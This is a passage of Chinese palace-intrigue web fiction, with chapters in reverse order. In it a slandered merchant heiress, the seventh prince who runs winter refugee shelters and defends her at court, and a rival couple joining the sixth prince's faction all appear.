有人立马“呸呸呸”了几声,“大过年的,说什么死不死的?朝廷和那些贵人们出钱出力地供我们取暖,供我们吃喝,就是为了让我们说这些丧气话的吗?” “对啊,咱们可是好容易才捡回一条命的,无论如何都得好好活着,不然岂不是辜负了朝廷,辜负了贵人们的付出?” “咱们要懂得感恩,好好地干活,好好地活着,不给朝廷添麻烦。” 萧晏辞并未开口,只静静听着。 一个身形佝偻的妇人走到了他的身前,她很苍老,脸上布满了皱纹,一双手更是如同老树皮一般枯瘦。 “民妇拜见七皇子。” 萧晏辞伸手扶了一把,“老人家不必多礼。” 那妇人站定,拿出了一双护膝,崭新的棉布料子,十分厚实,上面的针脚也很细密。 她有些颤颤巍巍地递到了萧晏辞的跟前。 “这是民妇这些时日缝的护膝,用的是新棉衣改的,针法粗陋,但,这是民妇的一点心意,若七皇子不嫌弃,还请收下。” 萧晏辞见此,一时有些愣怔。 见他没接,一个汉子站出来,急忙解释。 “七殿下,我娘是见您前些时日膝盖磕破了,这才给您做了这双护膝,想着您穿上能暖和些,膝盖也不会再受伤,实在冒昧,请您恕罪。” 说着,他就想把自家老娘拉走,免得惹了贵人不快。 一双手伸了过来,直接把那护膝接了过去。 高大的男人摩挲着那护膝,那料子与他平日所用根本不能比,但此时拿在手中,却温暖熨帖到了极致。 从小到大,他的衣裳都有专门的绣娘准备,母妃待他虽好,但针线活极差,从未亲手给他绣过衣物,这还是头一回有人专门为他做针线活。 “这几日本王膝盖冷,这双护膝正正合适,多谢老人家。” 他的态度亲和,并无责怪之意,反倒带着真诚的感激。 那汉子重重松了口气,那老妇人脸上的褶子都笑开了,连声道:“合适就好,合适就好。” 本以为这只是一个意外的小插曲,不曾想,之后又有人大着胆子上前,送上了自己准备的东西。 自己亲手缝的袜子,纳的鞋底,还有特制的据说能治冻疮的膏药——这些时日,他的双手已然冻出了红肿的冻疮。 他甚至还收到了一个姑娘送的擦脸的霜膏。 “这,这是我们自家,用杏仁油和蜂蜜做的,就只剩这些了,您,您若不嫌弃的话,可以用来擦擦脸,擦了脸就不会干裂了。” 说完这话,那姑娘已然羞红了脸,急忙扭头跑了。 萧晏辞摸了摸自己的脸,的确干得起皮,摸着咯手。 是该好好打理一番了,不然这厢差事了结,他都没脸回去见母妃了。 第70章 赵书宁再立功 赵书宁本想否认,但楚翊安这副如临大敌的态度激起了她心头不快。 “是又如何?你莫非还放不下她,还在心疼她?” 这件事的确是赵书宁所为。 她都抓住了对方的把柄,如此好的一次机会,怎会轻易放过? 本以为在群情激奋之下,陆知苒定然没法全身而退,不曾想,皇上竟一味护她,实在可恨。 楚翊安有些恼怒,“你胡说八道些什么?对她那样放浪不检点的女人,我怎会有半分心疼?” “那你又何必这般逼问我?” 楚翊安有些气急败坏,“此事闹得甚大,皇上当朝发了雷霆之怒,若他下令彻查,你要如何全身而退?你自己找死就算了,别牵连侯府!” 气急之下,他说的话毫无遮拦,赵书宁被狠狠刺了一下。 “嫌我牵连侯府?那我替侯府挣了荣光之时你怎么不说?楚翊安,我没想到你如此翻脸无情。” 楚翊安也意识到自己的话说重了,却又拉不下脸道歉。 “我只是就事论事。这件事非同小可,一旦被查出来,后果不堪设想。” 赵书宁冷声,“我不过是让人把陆知苒那女人的嘴脸揭穿罢了,我做了什么伤天害理之事?就算查到我头上,皇上又有什么名目拿问我?” 楚翊安蹙眉,“皇上要发落你,根本不需要理由。” 在皇权面前,没有任何道理可言。 赵书宁依旧不觉得自己有错,更坚信查不到自己的身上来。 楚翊安冷冷地看着她,“你可知今日朝堂之上,连六皇子都吃了挂落,不要太过自以为是,此事就此收手,把尾巴处理干净。你就算要对付她,也不是在这个关头。当务之急,还是好好替六皇子办差方为正理。” 赵书宁满心不甘,但又无计可施,只能气闷地闭了嘴。 这次,她定要立功! 陆知苒只是个以色侍人的玩意儿,自己却有真本事,宠爱不可能长盛不衰,功劳却是实打实的。 待六皇子登基,自己就是不可替代的功臣。 但立功的机会等不来,只能想方设法创造,她不管用什么手段,都要立功! 她没想到的是,这次连老天爷都在帮她。 机会很快就来了。 近日,朝廷派了士兵到周遭村落寻访,把困居家中的百姓接到收容所,度过这场寒冬。 今日便有一个村落的百姓被接了来。 他们只有零星几户,消息闭塞,根本不知收容所的存在,本已在家中等死,没想到朝廷的人从天而降,给了他们生的希望。 进到暖棚,冻僵的人终于慢慢热乎起来。 就在这时,意外突发。 几个妇人和孩童突然抽搐倒地,面色惨白,浑身开始冒冷汗,值守的太医闻讯而来,却是束手无策。 赵书宁拨开人群挤进来,她只简单诊了脉就飞快下了几针。 她面上一派镇定,实际上心中根本没底,手心渗出涔涔冷汗。 直到看到他们转危为安,她才重重松了口气。 她赌对了。 经此一事,原本一直瞧不起她的太医对她刮目相看,收容所的众百姓对她更是满心敬佩,奉若神明。 有太医将此事上禀皇上,言语间都是对赵书宁临危不乱,医术高明的夸赞。 萧晏清状似随意地开口,“儿臣也听母妃提起过这位赵医女,她替母妃治好了陈年旧疾,医术颇为不错,儿臣只当母妃夸大其词,而今看来,倒是名副其实。她一介女流却有如此大才,实在令儿臣佩服。” 德丰帝也露出意外之色。 赵书宁在个人感情上有些没分寸,医术的确可圈可点。 德丰帝笑着夸赞勉励了一番,除此之外倒是没有旁的奖励。 饶是如此,楚定峰和楚翊安也十分高兴。 有了皇上的金口玉言,她在婚宴之上损失的名声总算扭转了过来,今后她定能有一番广阔的前程。 萧宝珠得知此事,重重冷哼一声。 “有什么大不了的,如果阿笙你在的话,定然轮不到她出风头。” 对蒋南笙的医术,她总是十分自信。 蒋南笙这段时日一直闭关未出,专心整理自己此行外出收获的珍贵脉案,今日方得空。 “若我的判断没错的话,那些灾民应当是因为前后温差过大才引发的急症。” 新来的那些灾民经过长途跋涉,体温降到极致,已是强弩之末,骤然进到暖棚之中,体温飞速攀升,身体无法承受,就诱发了抽搐晕厥。 反之,从温暖的地方骤然进到极寒之地,亦会引发失温,或可致人死亡。 萧宝珠瞪大了眼。 她还是头一回听说这般讲究。 想到什么,萧宝珠又气愤起来,“那赵书宁救了人却不把其中门道告诉大家,如此岂不是还可能有其他人出现性命之危?” 蒋南笙不愿以恶意揣度旁人,“或许她自己也不确定此间关联。” “那就说明她的医术不咋地,这回救了人也是瞎猫撞到死耗子。要么,就是她人品堪忧,故意隐瞒,还想借此机会再为自己揽功扬名。” 赵书宁打的是第二个主意。 她需要立功,需要扬名,这件事是一个好的开端,但还不够。 若再多来几桩这样的意外,自己的名声就能传扬得更远,更快。 然而,她的盘算很快落空了。 第二日,收容所中就张贴了好几张布告,上面不仅把温度差可能致人死亡之事详述笔端,还罗列了其余许多格外需要注意的事项,譬如暖棚要保持通风,不可为了取暖而完全封闭等等。 大家不识字,便有识字的士兵在布告前高声诵读,务必让百姓知悉此事。 赵书宁的脸色沉了下去,但又很快恢复如常,甚至主动向灾民们告知注意事项。 在她的刻意引导之下,不少灾民都以为布告上的内容是出自她之手,加上萧晏清派人刻意推动,一时众人对她更加推崇与感激。 此事传到了陆知苒的耳里,她并不意外。 她早便知道,赵书宁不会那么轻易被打倒,她有勃勃野心,也有能力和豁得出去的手段,只要抓到一丝机会,她就能往上爬。 第69章 宣平侯府可用 德丰帝看他们兄妹斗法,眼角的皱纹都舒展开了。 尤其是见到小七吃瘪,他的心情更加愉悦几分。 萧宝珠看着满桌好菜,不再多废话,直接催促大家动筷。 夹起一块鲜嫩的牛柳送入口中,滑嫩的口感在口腔中蔓延,她愉悦得眉眼都笑弯了,腮帮子更是吃得圆鼓鼓的。 “真好吃!” 她身上没有一两肉是白长的,那都是她凭实力一口一口吃出来的。 萧晏辞见她那番吃相就嫌弃。 “你是饿死鬼投胎吗?不能慢点吃?” 萧宝珠回怼,“我是饿死鬼投胎,那你就是穷鬼投胎。咱俩谁也别嫌弃谁。” 萧晏辞:…… 好兄妹,就是要整整齐齐的。 因着他们兄妹二人在,德丰帝都比往常多吃了一碗饭。 他们这头和乐融融,毓秀宫那边的气氛却很沉。 萧晏清散朝之后便来向李贵妃请安,他将前朝发生之事告知对方,李贵妃这才派人请德丰帝过来一道用膳,想借此为自己儿子说几句好话。 谁料,德丰帝直接拒绝了,反把萧晏辞留下一道用膳。 他们原本压根没把萧晏辞放在眼里,这大齐的江山,不可能交到一个守不住财的人手里。 现在,他们不禁生出怀疑,萧晏辞的破财命格究竟是真是假? 李贵妃安抚萧晏清,“我儿不必担忧,萧晏辞早已把朝中大半官员都得罪了,他就算此次立了功也不得人心,根本没有资本与你比。” 思及此,萧晏清的心头这才放松几分。 的确,萧晏辞的性格乖戾,对任何人都不留情面,早把人得罪了个遍。 反观自己,这么多年一直在刻意经营名声,他的拥护者才是最多的。 但这人就像一只苍蝇似的,在自己面前飞来飞去,时不时还给自己找些麻烦,实在膈应。 定要找机会把他除掉,如此方能没有后顾之忧。 “收容所那边,你也得派人盯着,不能让他一人独占功劳。” 萧晏清眼底闪过一抹烦躁。 那么一大块肥肉,他自然也想分一杯羹,只一直未曾得手。 “萧晏辞盯得甚紧,儿子插不进人手,也动不了其他手脚。” 李贵妃沉吟片刻,“宣平侯府可用。” 萧晏清眼底闪过嫌恶。 “那宣平侯府不过是上不得台面的末流世家,且他们最近闹出不少笑话,儿子实在瞧不上。” 李贵妃缓缓摇头,“知人善任,不拘一格降人才,此方为一个合格的帝王该有的魄力。宣平侯府就算再怎么上不得台面,只要人才可用,便可招揽。” “且眼下既是侯府的低谷之时,你主动送出去的橄榄枝更有分量,他们才会更加死心塌地地为你效命。” 萧晏清若有所思。 李贵妃继续劝说,“楚翊安乃武将,在西平一役中也算小有功绩,虽然现在他官职平平,未受重用,但现下朝中武官本就稀奇,他迟早能出头,你手底下能有武将效忠,于你有益无害。” “至于赵书宁,她虽只是一介女子,但她于西平一役中亦有功劳在身,她的医术母妃亲身体会过,这枚棋子利用好了,京中各大高门都可尽数拉拢。” 李贵妃自认有几分识人的眼力,赵书宁一看便是充满野心之人。 听说她这次主动前往收容所帮忙,凭借手段重新打出了名声,足见她不甘于平庸。 这是好事,她只要有所求,那就好拿捏,能为己所用。 听罢,萧晏清的眉峰彻底舒展开来。 “还是母妃思虑周全,是儿子目光狭隘了。” 李贵妃微微一笑,“我儿自幼便聪慧过人,你缺少的不过是一些历练罢了。有母亲和你舅舅在,定能助你登上皇位。” 届时,一切碍眼之人都无需忍耐。 萧晏清想到那番情形,眸底闪过一抹深深的野心。 当晚,宣平侯府迎来了一位神秘访客。 “六殿下求贤若渴,对二人的才能十分欣赏看重,不知二位可愿为六殿下效劳?” 楚翊安和赵书宁都被这意外的惊喜砸懵了。 短暂愣怔一瞬,二人立马欣喜表态,“承蒙六殿下看重,某不胜荣幸,愿为六殿下效犬马之劳!” 对方面露满意之色,连忙将人扶起,“殿下再添两员大将,真乃如虎添翼也。” “不知殿下可有吩咐?” 对方捋着短须,“凡事无需操之过急,二位现下只需把收容所的差事当好即可。” 二人听了,俱是露出若有所思之色。 客气送走来人,他们脸上依旧难掩激动之色。 “太好了!这是我们立功的好时机。” 而今收容所是上京城内人人瞩目的大事,更是立功的大好时机。 六皇子棋差一着,未能在这桩差事之中抢到一席之地,转头便向他们发出招揽,这其中之意,再清楚不过。 他们要在六皇子跟前露脸,就得铆足劲立下功劳。 不然,六皇子的幕僚和门客如此多,他们凭什么出头? 但收容所目前已进入正轨,他们要想立功也并非易事,需得寻到合适的时机才行。 赵书宁状似随意地提起陆知苒,楚翊安的眉头立马蹙起,沉声说起了早朝发生之事。 听罢,赵书宁的眼底闪过一抹深深失望。 “早该猜到了,她有皇上做靠山,那点风浪又岂能伤她分毫?” 楚翊安的好心情一扫而空,取而代之的是一阵莫名烦乱。 赵书宁又幽幽道:“能彻底看清她的真面目也是好事。只是可惜,她那般嘴脸丑恶,却没法得到应有的惩戒,实在不公平。” 楚翊安冷嘲,“多行不义必自毙,她能得意得了一时,却不可能一直得意下去。皇上也迟早会看清她的真面目。” 赵书宁心头的不甘更甚。 男人多肤浅,皇上也不能幸免,自古色令智昏的帝王还少吗? 陆知苒那张脸,就是最大的资本,难保皇上不会一直偏袒她。 “不要再提她,令人恶心。此事我们也不可插手,免得最后反倒惹祸上身。” 他说完这话,就看到赵书宁眼底那抹一闪而逝的谋算。 微微一怔,楚翊安猛然抓住她的手,“这件事是不是与你有关?” 第68章 挑个隆重的日子当众封赏 坐在御书房内,德丰帝脸上怒意犹存,宫女太监们小心伺候着。 “父皇,您消消气,为了这么一件小事气坏了身子可不值当。” 德丰帝如何会不气? 陆知苒接连两次为他分忧,解了朝廷的燃眉之急,是大齐朝的大功臣。 他还在愁该如何嘉奖才能表达帝王的浩荡隆恩,这些人倒好,直接往她的身上泼脏水,这简直是在打他的脸! 到时候陆知苒直接入宫告状,请求他主持公道,他这个皇帝的脸要往哪里搁? 他只是发了一通火,没有当场罢了他们的官,已经是格外仁慈开恩了。 缓了半晌,德丰帝勉强压下脾气,“此事到底怎么回事?无缘无故,怎会有那样荒谬的流言?” 萧晏辞收起玩世不恭的神色,“儿臣也是刚刚才听说此事,具体内情如何儿臣也不敢妄言。但上京城中那般多商贾,陆家商行在其中并不起眼,却在短短时日里成为了众矢之的,还闹得沸沸扬扬,上达天听,儿臣认为此事并不简单。” 德丰帝的眉峰紧锁,眸底笼上一层晦暗。 “你觉得此事是何人所为?” “此事是针对陆家商行,准确来说,是针对陆大小姐。谁与她有仇怨,谁的嫌疑自然越大。” 萧晏辞点到为止就闭了嘴。 往常他喜欢在德丰帝面前插科打诨,但真正遇到正事之时,他比谁都有分寸。 此时他越是帮着陆知苒,给旁人定罪,效果反而越适得其反。 为帝者,可没人喜欢被旁人牵着鼻子走。 德丰帝沉着脸,“此事交给你,给朕好好彻查!朕倒是要看看,究竟是何人胆敢在天子脚下兴风作浪!” 萧晏辞等的就是他的这话,“儿臣领旨,定不负父皇所托,将那幕后的宵小之徒揪出来!” 顿了顿,德丰帝又道:“另外,你再替朕宣一道旨意,陆氏女为朝廷出钱出力,朕合该给她正名,不能让她一直这般白白被人污蔑。” 萧晏辞想了想,“父皇,儿臣以为现下并非最佳时机。此时您的圣旨一下,只怕那些宵小之徒就把脑袋缩回去了,若没法把人揪出来,岂不留了后患?” 德丰帝闻言,也露出沉吟之色。 “父皇,据儿臣了解,陆大小姐素来行事沉稳,这场风波定然影响不了她,您不必这般急着下旨。若您当真想为她正名,不若便挑个隆重的好日子,当众封赏,如此既能震慑宵小,又能以表隆恩,岂非两全其美?” 德丰帝缓缓点头,“言之有理,此事便暂且搁置。” 谈罢此事,德丰帝再看他这副打扮,既心疼又嫌弃。 “你好歹也是个皇子,手底下就没有可用之人?把自己折腾成这副模样,像什么样?” 萧晏辞恢复以往嬉皮笑脸的模样。 “儿臣难得替父皇办一回正经差事,自然要尽心竭力,不能出半点岔子。昨夜的雪下得大,若不及时清理,暖棚承受不住坍塌了,那收容所可就要乱套了,儿臣宁愿自己累些,也不能给父皇增添烦忧。” 德丰帝听了这话,心疼立马占了上风,看他的眼神充满了怜惜。 萧晏辞笑嘻嘻的,“儿臣跟六皇兄不同,儿臣糙惯了,这点子事不值一提。父皇若当真心疼儿臣,就给儿臣多些金银赏赐吧,儿臣喜欢。” 德丰帝笑骂,“出息!” 原本沉郁的心情终于冰雪消融,冯有才暗暗舒了口气。 还得是七皇子。 一声长鸣突兀响起,萧晏辞摸着肚子,一副可怜兮兮的模样,“忙了一晚上,儿臣连早膳都没来得及吃。” 德丰帝又心疼了。 “怎么不早说?来人,摆膳!” 这时,殿外有小太监求见,是李贵妃身边的公公。 “贵妃宫中摆了宴,请皇上到毓秀宫一道用饭。” 以往贵妃来请,德丰帝只要不忙都会给这体面。 但今日,他本就先答应了与萧晏辞一道用饭,加之先前萧晏清在堂上的表现也令他不喜,德丰帝不打算给这份体面。 他尚未开口回绝,萧晏辞就酸溜溜地道:“看来儿臣来的不是时候,虽然儿臣从昨晚到现在都没有吃一口热饭,就为了今早与父皇一道用膳,但儿臣没关系,父皇去陪李贵妃用膳吧。” 德丰帝:…… 看他这副酸不溜秋的模样,德丰帝一阵好笑。 “没说不陪你用膳,多大的人了,还作这副模样。” 转头便回了李贵妃。 “朕让人把你母妃唤来,她也许久未见你了。” 萧晏辞立马摇头,“下次吧,儿臣这副模样,她见了又要唠叨。” 他的生母柔妃,名副其实是个温柔似水的女子,动不动就掉眼泪珠子,有时候萧晏辞觉得她不像自己母亲,反倒更像个孩子。 他可以在亲爹面前卖惨,可不能在亲娘面前卖惨,不然她得水漫金山,到头来还得自己哄。 想想就头疼。 德丰帝也想到了这一点,神色微妙地顿了顿,立马打消了那念头。 宫女很快上了菜,父子俩还尚未动筷,就有一道声音咋咋呼呼地传来。 “父皇,父皇……” 说话间,一道珠圆玉润的身影欢快地跑了进来。 待看到屋中的两人,萧宝珠的脚步一下顿住,脸上的欢喜笑意也僵了僵。 “七皇兄,你怎么也在?” 萧晏辞似笑非笑地看她,“见了我躲什么?莫不是心虚了?” 萧宝珠立马梗起了脖子,“谁,谁躲了?我是来找父皇一起用膳的!” 言外之意,有父皇撑腰,他还能把自己如何? 德丰帝狐疑的目光在两人之间打转,“你们这是闹的哪一出?” 萧宝珠眼神闪躲,支吾着没说话。 萧晏辞并不给她留面子,直接把二人赌约道出,德丰帝顿觉好笑。 “你们都多大的人了,还这般幼稚。” 萧宝珠立马道:“我也觉得这个赌约太过幼稚,做不得数。” “想耍赖?” 萧宝珠理直气壮地反驳,“你的那些炭都捐出去了,可半分银子都没挣到。真要算起来,输的是你才对。” 萧晏辞:…… 真要这么说,好像也没错,他的确没见着回头钱。 萧宝珠见他哑口无言,终于有了底气。 多亏阿笙提醒自己,不然她还没转过弯来呢。 她一副大度的模样,“咱们都是自家兄妹,我就不跟你一般计较了,你攒那点银子也不容易。” 萧晏辞:…… 好好好,没想到自己竟被这蠢丫头给赢了一回,真是失算。 第67章 萧晏辞舌战群臣 萧晏辞目光一扫,看向了御史葛大人。 “葛大人,方才本王在外头听了一耳朵,葛大人那番慷慨陈词的确在理,大齐有难,身为大齐子民应当慷慨解囊,助大齐共渡难关。听说青雀街的隆瑞商行是你家的产业,贵商行这回捐了多少啊?不妨说出来,好叫父皇好好恩赏一番。” 葛大人的老脸涨红,支支吾吾说不出话来。 “哦——本王知道了,葛大人是没有捐啊。” 他的尾音拉得老长,葛大人愈发难堪。 目光一转,萧晏辞看向另一位身形圆胖的大人。 “贾大人,数日不见,你越发富态了,想来这段时日的伙食十分不错,城外的百姓可都紧巴巴的,只能吃个囫囵半饱,贵府这次捐了多少啊?” 贾大人神色凝固,脸上有汗意渗了下来。 萧晏辞扫过方才参奏的几位大人,一一点名询问他们此次捐款数目,直把他们问得老脸涨红,恨不得找个地缝钻进去。 萧晏辞似笑非笑,“看来,诸位大人都没有为朝廷分忧解难。这可就怪了,你们自己都不曾掏银子,为何能如此理直气壮地指责旁人?旁人捐不捐,与你们何干?” 方才还口若悬河,慷慨激昂的众人,彻底哑了口。 陆贯轩感动得快哭了。 七皇子简直是天下第一大好人,以前是自己误会他了! 萧晏清不赞同地开口,“小七,你未免太过咄咄逼人。诸位大人皆是两袖清风的好官,他们的俸禄对于寻常人家来说不少,但要维持府中开销却是不容易,如何还能有多余的银钱捐出去?那些商贾则不同,他们本就身怀巨富,国难当头,自然没有袖手旁观的道理。” 葛大人等人似是终于找到了靠山,连连点头。 是这个理。 “照六皇兄这话的意思,谁有钱谁就活该被当成待宰的肥羊?” 萧晏清一噎,“我不是这个意思!” 萧晏辞语气懒懒,“我听皇兄就是这个意思,不然为何要揪着一个商行不放?更何况,陆家也并非商户,陆大人可与你们一样,都是两袖清风的好官呢。” 陆贯轩立马挺直了腰杆,站出来高声为自己辩解。 “七皇子英明!微臣亦是朝中官员,领的俸禄甚至没有诸位大人高,你们都有心无力,下官又哪来的银子?诸位大人如此强逼,这是要让下官把家当都拿出来换取名声不成?” 葛大人梗着脖子,“谁人不知陆大人的头位夫人乃苏州富商之女,当初令爱的嫁妆之丰厚,简直堪比公主,陆大人又何必在我等面前哭穷?” 其他大人附和,“令爱囤积居奇,完全不顾普通百姓的死活,一心只想发国难财,如此行径难道不应当唾弃吗?” 陆贯轩一时哑口。 萧晏辞看向说话那位于大人,“谁告诉你陆大小姐囤积居奇?可有证据?” 于大人顿了顿,还是硬着头皮回答,“民间早已传遍了……” 萧晏辞嗤笑一声,“原来一些乌合之众的肆意诬蔑也能成为证据,那赶明儿本王就让人传于大人玩忽职守,中饱私囊,回头刑部也不用再找证据,直接就能把于大人你下大狱了。” 于大人顿时脸色煞白,冷汗涔涔。 萧晏清恼怒,“七弟,这岂是一回事?你这般简直是胡搅蛮缠。” 萧晏辞挑眉,“便是就事论事,陆大小姐也没有义务一定要捐银捐炭。且不说而今朝廷已然度过了难关,本就不需要再筹措银两,就算朝廷现在尚处困局,也没有威逼旁人捐款的道理。如此行径,与那强盗又有什么不同?” 萧晏清语塞。 半晌,他才憋出一句话。 “正是有她这样利欲熏心之辈,商贾的名声才会被带累至此。” 萧晏辞看向对方,“六皇兄,未窥全貌,不可妄下定论,不然,到时候被打脸,可就不好看了。” “七弟对这位陆大小姐似乎多有维护,怎么,你与陆大小姐有旧交?” 这话带着一股不怀好意的揣测,萧晏辞的眼底闪过一抹冷意。 “我这人素来帮理不帮亲,谁有理我帮谁,不像有些人,打着公平公正的旗号,行的却是胁迫之事,实乃道貌岸然的伪君子。” “你……” 德丰帝沉声开口,“好了!” 萧晏清本以为父皇定会站在自己这边,谁料他缓缓开口,“小七所言在理。” 萧晏清:??? “你们口口声声说那位陆大小姐囤积居奇,发国难财,可有凭证?你们嘴巴两张皮随便碰一碰就给人定罪,可当真轻巧!” 他冷冷地扫向众人,帝王的威严扑面而来,俨然已动了怒。 萧晏清和葛大人等人立马跪下告罪。 “父皇息怒,儿臣以为空穴不来风……” 德丰帝直接打断他,“一群乌合之众就轻易把你糊弄了?以往你行事素来沉稳妥帖,今次却人云亦云,随随便便就被外物遮住了眼,实在太令朕失望了。” “还有你们,御史台行的是纠查之责,朕赋予你们弹劾之权,是让你们纠视刑狱,肃整朝仪,肃正纲纪,而非让你们滥用职权,不分青红皂白地弹劾良民!若你们是如此行使职权,那朕不介意换一批人,你们干不好,多的是人能胜任此职!” 德丰帝严厉的声音在大殿内回荡,气氛紧绷,所有人大气都不敢出。 萧晏清脸色难看,他实在想不明白,为何父皇会发这样的雷霆之怒。 定是萧晏辞,他果然是自己的克星! 众臣之中,楚定峰和楚翊安都深深地垂着头,德丰帝的反应令他们越发笃定了原本的猜测。 陆知苒果然是皇上的心头好! 楚翊安双拳紧握,眸底充斥着猩红。 陆知苒当真好本事,连皇上都被她迷得晕头转向。 六皇子素来受器重,这次却因她而被斥责。 都说红颜祸水,这话果然不假! 一场朝会在德丰帝的怒火中散去,葛大人等人俱是心有余悸。 萧晏清看着萧晏辞大摇大摆往御书房而去,恨得牙关紧咬。 第66章 是当难民去了吗? 前世,宣平侯府是六皇子一派,按照时间推算,侯府也差不多这个时候与六皇子搭上线。 上一世六皇子在此次赈灾中立了大功,连带着宣平侯府一脉鸡犬升天。 六皇子野心勃勃,一心谋夺皇位,这其中所耗之巨非常人能想象。 楚翊安和赵书宁用陆知苒的银子铺路,才越发得六皇子器重。 后来,六皇子得登大宝,她的价值被彻底榨干,最终只能不甘地惨死在那一碗毒药之下…… 匹夫无罪,怀璧其罪,她身怀巨富,注定没法独善其身。 况且有些人,本就该为自己的所作所为付出代价! 她本以为这一路会艰辛无比,谁知前几日,石管事给她递来了另外一个意外的消息。 当初他在回京路上顺手救下的两人,竟是七皇子主仆。 此次收容所之事能顺利展开,也有七皇子颇多出力。 再想到那日的和离圣旨,陆知苒哪里还有不明白的?他早就知道了她的身份,所以才会挑那日宣旨。 他在为她撑腰。 他的善意或许是为了还石叔的救命之恩,但陆知苒却记在了心里。 想到他前世的结局,陆知苒生出一股兔死狐悲的悲凉。 她自己无法与六皇子抗衡,但若有个帮手呢? 这辈子,或许,七皇子是自己可以主动结交的盟友。 近日萧晏辞一直都泡在收容所,忙得昏天黑地。 天气一日冷过一日,大雪纷飞不断,他们需要不停清理积雪,避免暖棚崩塌。 收容所收容的人员越来越多,卫生和治安问题也十分关键,不能出半点纰漏。 昨晚后半夜雪突然下大了,积雪厚重,萧晏辞带人连夜清理棚顶的积雪,忙到晨光熹微,众人才堪堪能喘口气。 萧晏辞对众人吆喝,“昨夜大家都辛苦了,每人多加二两工钱。” 众人一听,劳累一晚的疲惫和怨气一扫而空,脸上洋溢着难掩的激动与兴奋。 萧晏辞回到自己单独的帐内,这才有时间喝上一杯热茶。 贺昀见了,心里颇不是滋味。 “殿下,您吩咐一声就是了,何必亲自去干那些粗活?” 萧晏辞合衣躺在小榻上,舒舒服服地伸展着筋骨。 “萧晏清那厮可一直对收容所虎视眈眈,就等着我出错,好来摘桃子呢。老子前头已经辛苦了这么久,不能出半点岔子叫他钻了空子。” 贺昀听了,一时无语。 自家殿下和六殿下天生不对盘,但凡遇上那位,他都要争一口气,决计不肯低头认输。 正合眼小憩,外头传来一阵议论。 “陆家商行可有什么动作?” “没呢,听说他们的铺子日日有人打砸,陆家人也不曾出面做过任何解释,更没有要往外掏银子平息众怒的打算。” “啧啧,女人就是目光短浅,这个关头了还心疼银子,这回他们真要撞枪口上去了。” “她若是个有远见的,也不会与夫家和离。像她那样的泼妇,简直把女子的名声都搞臭了。” 萧晏辞倏而睁开了眼,给贺昀递了个眼色,后者立马掀帘而出。 一番打探,他很快把事情的来龙去脉问得一清二楚。 听罢,萧晏辞都气笑了。 这上京城中商铺多如牛毛,可不是每家商铺都捐了东西,为何独独陆家商行成了众矢之的? 要说这事背后没有人推波助澜,他把脑袋拧下来当球踢。 “许久没有上朝了,今日去点个卯。” 说罢利落起身,随意牵了一匹马翻身而上,往城中的方向去。 贺昀赶忙跟上,本以为自家殿下要先回皇子府更衣洗漱一番,却不想他直奔皇宫而去。 更衣洗漱?笑话,这可是他的功绩,他洗得干干净净的,还怎么向父皇邀功?他可不兴做好事不留名那一套。 经过几日发酵,陆家商行之事从民间传到了朝堂。 这日上朝,御史台葛大人直接一纸奏章,参了陆贯轩一本,直言他教女无方,更含沙射影此事乃陆贯轩授意。 葛大人带了头,好几名大人跟着附议,陆贯轩俨然成了众矢之的。 陆贯轩的脸色十分难看,暗暗后悔自己竟然听信了那丫头的鬼话,在这件事上纵着她。 现在倒好,她所说的那所谓大礼没来,自己头上这顶戴花翎怕是要保不住了! 德丰帝的神色莫测,眼神晦暗不明,怎么看都不像是高兴的样子! 陆贯轩的心沉入谷底。 不敢再心存侥幸,他双腿一屈就要跪下请罪,刚跪到一半,殿外有一道声音懒洋洋地传来。 “葛大人,你这是又在参谁啊?” 葛大人一听到这声音,虎躯一震,其余朝臣亦是有了同样的反应。 萧晏辞大步流星走了进来。 他下巴冒着细密的胡渣,眼底一片青黑,脸上干得有些起皮。 身上衣裳的袍角皱巴巴的,上面还零星散落着不少泥点子,更加醒目的是衣裳上落满的雪,一进到温暖的大殿之中,雪花融化,留下一片濡湿的痕迹。 整个人从头到脚,又糙又野,如同难民。 他这是去赈灾的,还是去当难民去了? “儿臣参见父皇,儿臣早朝来迟了,请父皇恕罪。” 萧晏清蹙眉看向萧晏辞,“小七,在父皇面前你怎能如此失仪?再怎样也该换一身衣裳才是。” 德丰帝原本想说的话被打了岔,眉头一下蹙了起来。 以往他觉得小六行事周全妥帖,与兄弟们兄友弟恭,最省心懂事,但这话却让德丰帝生出一股不喜。 他竟半点不心疼自家弟弟? 萧晏辞似笑非笑地看了萧晏清一眼,“六皇兄或许有所不知,昨夜下了一整夜大雪,我与手下的弟兄们清了一晚上的雪。那头刚忙完我就马不停蹄地往宫里赶,实在是来不及更衣梳洗,不像六皇兄每日清闲无事,晚上能睡得舒舒服服,早上起来还有一群人伺候,唉,我真是羡慕不来啊。” 萧晏清:…… 德丰帝满脸赞赏地看着萧晏辞,“小七为了收容所之事如此亲力亲为,实乃众人表率,当赏!” 萧晏辞立马欢喜叩谢,“多谢父皇。” 萧晏清:…… 他后槽牙都快咬碎了。 就他那般破财命,东西赏给他也是浪费,父皇又何必多此一举? 第65章 她的底牌究竟是什么? 方氏心中冷笑,嘴上却是柔声劝说。 “老爷息怒,苒姐儿本意定然是好的,只不过是好心办了坏事罢了,待会儿有事您就好好地与她说,千万莫为了这事伤了父女情分。” 方氏越劝,陆贯轩的怒火越旺,沉着脸不语。 陆知苒很快到了知春苑,尚未行礼,方氏就急忙开口,“苒姐儿,还不赶紧向你父亲解释,你那商行究竟怎么回事?” 陆知苒对上陆贯轩黑沉沉的面色,脸上露出困惑。 “女儿的商行怎么了?” 陆贯轩恼怒拍桌,“事到如今你竟还不知发生了何事?你是怎么打理的?若你没这能力,还是尽早把产业都交出来让你母亲代为打理,免得给陆家招祸!” 方氏闻言,眼珠子微微一转。 她原就在打这个主意,只不过没有找到合适的机会。 现在,机会不就主动送上门来了吗? 她一副痛心疾首的神色,言简意赅地将外头的传言道来。 陆知苒听罢,再次露出了诧异之色。 “母亲,此事许是有什么误解……” 她刚开了个头,陆贯轩就怒声打断,“能有什么误解?各大商行都在主动捐炭捐粮,你的商行毫无动静,你还要狡辩?” 方氏也苦口婆心地劝,“苒姐儿,母亲知道你想多赚些银子,但是银子再重要,也没有陆家的名声重要,听母亲的,赶紧把那批炭都捐出去,再捐些钱粮,以平众怒,不然,陆家的名声也要被影响了。” 陆知苒看着不分青红皂白就给自己定罪的两人,心底冷笑一声。 “我的那批炭已然有了旁的安排,现在无炭可捐。” 他们却压根不信,“那么多炭,你能有什么旁的安排?” 